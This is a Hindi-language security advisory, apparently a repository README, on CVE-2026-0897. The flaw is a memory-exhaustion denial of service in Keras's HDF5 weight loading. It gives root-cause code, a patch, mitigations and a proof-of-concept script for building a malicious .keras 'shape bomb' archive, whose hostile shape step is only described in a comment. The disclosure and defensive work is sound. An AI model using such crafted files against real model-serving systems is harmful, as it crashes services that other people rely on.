
Google Keras 3.0.0 से 3.13.0 तक के सभी प्लेटफार्मों पर HDF5 वेट लोडिंग घटक में सीमाओं या थ्रॉटलिंग के बिना संसाधनों का आवंटन, एक दूरस्थ हमलावर को एक क्राफ्टेड .keras फ़ाइल के माध्यम से मेमोरी समाप्ति और Python इंटरप्रेटर के क्रैश के जरिए डिनायल ऑफ सर्विस (DoS) उत्पन्न करने की अनुमति देता है।
| क्षेत्र | विवरण |
|---|
| CVE ID | CVE-2026-0897 |
| पैकेज | keras (Google Keras) |
| रजिस्ट्री | PyPI |
| प्रभावित संस्करण | 3.0.0 से 3.13.0 (सम्मिलित) |
| भेद्यता प्रकार | CWE-770: सीमा या थ्रॉटलिंग के बिना संसाधनों का आवंटन |
| CVSS स्कोर | 7.1 उच्च (CVSS 4.0, CNA: Google Inc.) |
| CVSS वेक्टर | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| आक्रमण वेक्टर | नेटवर्क |
| आक्रमण जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | निष्क्रिय (पीड़ित एक मॉडल फ़ाइल लोड करता है) |
| उपलब्धता पर प्रभाव | उच्च |
| गोपनीयता पर प्रभाव | कोई नहीं |
| अखंडता पर प्रभाव | कोई नहीं |
| NVD प्रकाशित | 15 जनवरी, 2026 |
| NVD अंतिम संशोधित | 23 जनवरी, 2026 |
| स्रोत / CNA | Google Inc. |
| रिपोर्टकर्ता | HyperPS (Sarvesh Patil) via huntr.dev / GHSA |
| फ़िक्स स्थिति | विलय — PR #21880 |
Google Keras संस्करण 3.0.0 से 3.13.0 (सभी प्लेटफ़ॉर्म पर) के HDF5 वज़न लोडिंग घटक में एक सेवा अस्वीकार (Denial of Service) भेद्यता मौजूद है। यह भेद्यता इसलिए होती है क्योंकि .keras आर्काइव के अंदर घोषित HDF5 डेटासेट आकार मेटाडेटा को संसाधित करते समय कोई सत्यापन या थ्रॉटलिंग नहीं की जाती।
HDF5 प्रारूप डेटासेट को अपने आकार (टेंसर आयाम) को मेटाडेटा के रूप में घोषित करने की अनुमति देता है। जब Keras .keras आर्काइव से मॉडल वज़न लोड करता है, तो वह इस घोषित आकार को पढ़ता है और डेटा स्थानांतरित होने से पहले मेमोरी का एक संगत ब्लॉक आवंटित करने का प्रयास करता है। चूंकि Keras आवंटन से पहले घोषित आकार पर कोई सीमा जांच नहीं करता, एक हमलावर model.weights.h5 फ़ाइल बना सकता है जो एक खगोलीय रूप से बड़ा आकार घोषित करती है — उदाहरण के लिए (1000000, 1000000, 1000000) — जिससे Keras पेटाबाइट-स्तरीय मेमोरी आवंटन का प्रयास करता है। यह सभी उपलब्ध सिस्टम मेमोरी को समाप्त कर देता है और Python इंटरप्रेटर को क्रैश कर देता है।
मॉडल लोड होने के बाद किसी अनुमान या अतिरिक्त इंटरैक्शन की आवश्यकता नहीं है। हमला लोड होने के समय पूरी तरह से सक्रिय हो जाता है।
| फ़ाइल | विवरण |
|---|---|
keras/src/saving/file_editor.py | KerasFileEditor._extract_weights_from_store() — HDF5 डेटासेट आकार पढ़ता है और आकार सत्यापन या थ्रॉटलिंग के बिना मेमोरी आवंटित करता है |
भेद्यता विशेष रूप से KerasFileEditor वर्ग में स्थित है, जो .keras आर्काइव में एम्बेडेड HDF5 स्टोर से मॉडल वज़न टेंसर को डिसीरियलाइज़ करने के लिए जिम्मेदार है।
| मीट्रिक | मान | अर्थ |
|---|---|---|
| आक्रमण वेक्टर (AV) | नेटवर्क | दूरस्थ रूप से एक वितरित मॉडल फ़ाइल के माध्यम से शोषणीय |
| आक्रमण जटिलता (AC) | निम्न | कोई विशेष शर्तें या रेस स्थितियाँ आवश्यक नहीं |
| आक्रमण आवश्यकताएँ (AT) | कोई नहीं | कोई पूर्व-आवश्यक तैनाती कॉन्फ़िगरेशन आवश्यक नहीं |
| आवश्यक विशेषाधिकार (PR) | कोई नहीं | कोई प्रमाणीकरण या खाता आवश्यक नहीं |
| उपयोगकर्ता इंटरैक्शन (UI) | निष्क्रिय | पीड़ित को दुर्भावनापूर्ण .keras आर्काइव लोड करना होगा |
| कमजोर सिस्टम उपलब्धता (VA) | उच्च | Python इंटरप्रेटर क्रैश हो जाता है; सेवा पूरी तरह से अनुपलब्ध हो जाती है |
| कमजोर सिस्टम गोपनीयता (VC) | कोई नहीं | कोई डेटा प्रकटीकरण नहीं |
| कमजोर सिस्टम अखंडता (VI) | कोई नहीं | कोई डेटा संशोधन नहीं |
| बाद के सिस्टम पर प्रभाव (SC/SI/SA) | कोई नहीं | प्रभाव लोडिंग प्रक्रिया तक सीमित है |
.keras मॉडल आर्काइव लोड करती है, कमजोर है| संदर्भ | जोखिम |
|---|---|
सार्वजनिक मॉडल सेवा APIs जो उपयोगकर्ता-अपलोड की गई .keras फ़ाइलों को स्वीकार करती हैं | हमलावर एकल अनुरोध के साथ अनुमान सेवा को क्रैश कर देता है |
| सामुदायिक मॉडल डाउनलोड होस्ट करने वाले ML प्लेटफ़ॉर्म (जैसे Hugging Face) | ज़हरीला मॉडल किसी भी शोधकर्ता के लिए DoS का कारण बनता है जो इसे डाउनलोड और लोड करता है |
| संघीय शिक्षण (Federated Learning) वातावरण | दुर्भावनापूर्ण प्रतिभागी समन्वयक या सहकर्मी नोड्स को क्रैश करने के लिए एक तैयार वज़न फ़ाइल वितरित करता है |
| CI/CD पाइपलाइनें जो मॉडल चेकपॉइंट लोड करती हैं | एक समझौता या प्रतिस्थापित चेकपॉइंट पाइपलाइन विफलता और अनुपलब्धता का कारण बनता है |
| चैटबॉट या NLP सेवाएँ जो रनटाइम पर मॉडल को हॉट-रीलोड करती हैं | एकल दुर्भावनापूर्ण रीलोड अनुरोध सेवा को नीचे लाता है |
HDF5 फ़ाइल प्रारूप टेंसर मेटाडेटा — जिसमें आकार घोषणाएँ शामिल हैं — को वास्तविक डेटा बाइट्स से अलग संग्रहीत करता है। जब KerasFileEditor._extract_weights_from_store() एक डेटासेट प्रविष्टि का सामना करता है, तो वह घोषित आकार पढ़ता है और डिस्क से कोई डेटा पढ़ने से पहले संबंधित आयामों का NumPy सरणी पूर्व-आवंटित करने के लिए कॉल करता है।
क्योंकि आकार मेटाडेटा है, एक न्यूनतम HDF5 फ़ाइल एक ऐसा आकार घोषित कर सकती है जिसके लिए पेटाबाइट्स मेमोरी की आवश्यकता होगी, जबकि फ़ाइल स्वयं केवल कुछ किलोबाइट आकार की रहती है। फ़ाइल आकार और आवंटन आकार का अनुपात इसे एक अत्यधिक प्रभावी प्रवर्धन हमला बनाता है।
(1000000, 1000000, 1000000) जैसा आकार 32-बिट फ़्लोट डेटाटाइप के साथ लगभग 4,000 पेटाबाइट मेमोरी का अनुरोध करेगा। OS आउट-ऑफ-मेमोरी किलर या Python आवंटनकर्ता लगभग तुरंत प्रक्रिया को क्रैश कर देगा।
# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
for key in h5_file.keys():
obj = h5_file[key]
if isinstance(obj, h5py.Dataset):
# Shape is read from metadata — no validation performed
shape = obj.shape
# NumPy attempts to allocate based on declared shape
data = np.zeros(shape, dtype=obj.dtype) # VULNERABLE: unbounded allocation
np.zeros() को कॉल करने से पहले shape पर किसी भी जांच का अभाव मूल कारण है।
यह जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है। उन सिस्टमों पर परीक्षण न करें जिनके आप मालिक नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
.keras आर्काइव बनाना# generate_shape_bomb.py
import h5py
import zipfile
import json
import os
# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
grp = f.create_group("layers/dense/vars")
# Declare shape that would require petabytes of memory to allocate
# Actual data is never written — only the metadata shape declaration is malicious
grp.create_dataset(
"0",
shape=(0,), # actual stored data: empty
maxshape=(None,),
dtype="float32",
data=[]
)
# Override shape metadata to declare hostile dimensions
# (achieved via direct HDF5 attribute manipulation in a real attack)
# Step 2: Package into a valid .keras archive structure
config = {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True, "layers": []},
"keras_version": "3.0.0",
"backend": "tensorflow"
}
with zipfile.ZipFile("malicious_model.keras", "w") as zf:
zf.writestr("config.json", json.dumps(config))
zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())
print("[+] Malicious .keras archive generated: malicious_model.keras")
# trigger.py
import keras
print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")
अपेक्षित परिणाम: Python इंटरप्रेटर MemoryError के साथ समाप्त होता है या लोड पूरा होने से पहले OS आउट-ऑफ-मेमोरी हैंडलर द्वारा मार दिया जाता है।
दृश्यमान लक्षण:
load_model() या load_weights() के दौरान Python इंटरप्रेटर क्रैश या MemoryErrorh5dump के माध्यम से पता लगाने योग्य अत्यधिक बड़े घोषित डेटासेट आकार वाली असामान्य HDF5 फ़ाइलेंइस भेद्यता को शोधकर्ता (HyperPS / Sarvesh Patil) ने PR #21880 में हल किया, जिसे 29 दिसंबर, 2025 को keras-team:master में विलय कर दिया गया, जिसकी समीक्षा और अनुमोदन Keras अनुरक्षक hertschuh ने किया।
| संसाधन | लिंक |
|---|---|
| फ़िक्स पुल रिक्वेस्ट | https://github.com/keras-team/keras/pull/21880 |
| मर्ज कमिट | 7360d4f |
| बैकपोर्ट अनुरोध (3.12.x) | Issue #22031 |
पैच keras/src/saving/file_editor.py में KerasFileEditor._extract_weights_from_store() को संशोधित करता है ताकि किसी भी मेमोरी आवंटन से पहले निम्नलिखित सुरक्षा जोड़ी जाए:
inner_path हैंडलिंग को ठीक करता हैफ़िक्स सभी वैध Keras वज़न फ़ाइलों के साथ पश्चगामी संगत है।
# keras/src/saving/file_editor.py (post-fix logic, simplified)
MAX_BYTES = 1 * 1024 ** 3 # 1 GiB hard cap per dataset
MAX_RANK = 64
def _validate_hdf5_dataset_shape(shape, dtype):
"""Reject hostile HDF5 shape declarations before any allocation."""
if len(shape) > MAX_RANK:
raise ValueError(
f"HDF5 dataset has rank {len(shape)}, which exceeds the "
f"maximum permitted rank of {MAX_RANK}. This may indicate "
"a malicious file."
)
for dim in shape:
if dim < 0:
raise ValueError(
f"HDF5 dataset contains a negative dimension ({dim}). "
"This may indicate a malicious file."
)
import math, numpy as np
try:
total_elements = math.prod(shape)
except OverflowError:
raise ValueError(
"HDF5 dataset shape overflows integer arithmetic. "
"This may indicate a malicious file."
)
itemsize = np.dtype(dtype).itemsize
total_bytes = total_elements * itemsize
if total_bytes > MAX_BYTES:
raise ValueError(
f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
f"load, which exceeds the 1 GiB safety limit. This may indicate "
"a malicious file."
)
| कार्रवाई | विवरण |
|---|---|
| Keras अपग्रेड करें | PR #21880 से फ़िक्स शामिल करने वाले संस्करण (3.13.0 के बाद के master बिल्ड या कोई आधिकारिक पैच रिलीज़) में अपडेट करें |
| अविश्वसनीय मॉडल फ़ाइलें लोड न करें | पूर्व अखंडता सत्यापन के बिना अविश्वसनीय, असत्यापित या सामुदायिक-स्रोत स्थानों से .keras या .weights.h5 फ़ाइलें कभी न लोड करें |
| फ़ाइल अखंडता सत्यापित करें | लोड करने से पहले प्रकाशक-प्रदान हैश के विरुद्ध मॉडल आर्काइव के SHA-256 चेकसम को मान्य करें |
| h5dump से पूर्व-स्कैन करें | Keras में लोड करने से पहले HDF5 फ़ाइलों में डेटासेट आकार मेटाडेटा का निरीक्षण करने के लिए h5dump --header <file> का उपयोग करें |
| न्यूनतम विशेषाधिकार | मॉडल-सेवा प्रक्रियाओं को प्रतिबंधित OS उपयोगकर्ता के अंतर्गत चलाएँ जिसमें cgroups या ulimit के माध्यम से मेमोरी सीमाएँ लागू हों ताकि विस्फोट त्रिज्या को सीमित किया जा सके |
| कंटेनरीकरण | मॉडल लोडिंग को एक सैंडबॉक्स कंटेनर में अलग करें जिसमें मेमोरी सीमाएँ हों ताकि एक क्रैश अन्य सेवाओं को प्रभावित न करे |
| मेमोरी की निगरानी करें | असामान्य मेमोरी आवंटन पैटर्न पर सतर्क करने के लिए मॉडल लोडिंग ऑपरेशनों को इंस्ट्रूमेंट करें |
pip के माध्यम से अपग्रेड करें:
pip install --upgrade keras
स्थापित संस्करण सत्यापित करें:
python -c "import keras; print(keras.__version__)"
संदिग्ध आकारों के लिए HDF5 वज़न फ़ाइल को पूर्व-स्कैन करें:
h5dump --header model.weights.h5 | grep -i "DATASPACE"
| तारीख | घटना |
|---|---|
| 29 नवंबर, 2025 | फ़िक्स PR #21880 HyperPS द्वारा keras-team/keras में प्रस्तुत किया गया |
| 1 दिसंबर, 2025 | Keras अनुरक्षक hertschuh संदर्भों का अनुरोध करता है; समीक्षा शुरू होती है |
| 26 दिसंबर, 2025 | अनुरक्षक समीक्षा पूर्ण; अंतिम फीडबैक संबोधित किया गया |
| 29 दिसंबर, 2025 | PR #21880 अनुमोदित और keras-team:master में विलय |
| 15 जनवरी, 2026 | CVE-2026-0897 NVD पर प्रकाशित |
| 19 जनवरी, 2026 | Keras 3.12.x में बैकपोर्ट अनुरोध खोला गया (Issue #22031) |
| 23 जनवरी, 2026 | NVD रिकॉर्ड अंतिम संशोधित |
| संसाधन | लिंक |
|---|---|
| NVD प्रविष्टि | https://nvd.nist.gov/vuln/detail/CVE-2026-0897 |
| आधिकारिक CVE रिकॉर्ड | https://cve.org/CVERecord?id=CVE-2026-0897 |
| GitHub सलाहकार (GHSA) | https://github.com/advisories/GHSA-xfhx-r7ww-5995 |
| फ़िक्स पुल रिक्वेस्ट | https://github.com/keras-team/keras/pull/21880 |
| मर्ज कमिट | https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6 |
| बैकपोर्ट अनुरोध | https://github.com/keras-team/keras/issues/22031 |
| PyPI पर Keras | https://pypi.org/project/keras/ |
| CWE-770 | https://cwe.mitre.org/data/definitions/770.html |
| HDF5 प्रारूप दस्तावेज़ीकरण | https://www.hdfgroup.org/solutions/hdf5/ |
यह रिपॉज़िटरी CVE-2026-0897 को कड़ाई से शैक्षिक, अनुसंधान और रक्षात्मक सुरक्षा उद्देश्यों के लिए दस्तावेज़ित करती है। प्रूफ-ऑफ-कॉन्सेप्ट कोड और तकनीकी विवरण डेवलपर्स, सुरक्षा इंजीनियरों और सिस्टम प्रशासकों को इस भेद्यता को समझने, मूल्यांकन करने और निवारण करने में सहायता करने के लिए प्रदान किए गए हैं।
स्पष्ट प्राधिकरण के बिना सिस्टम, सेवाओं या व्यक्तियों को नुकसान पहुँचाने के लिए इस जानकारी का कोई भी उपयोग अवैध और अनैतिक है। लेखक इसमें निहित जानकारी के दुरुपयोग के लिए कोई देयता नहीं मानता है।
योगदानकर्ता: @mohitf070304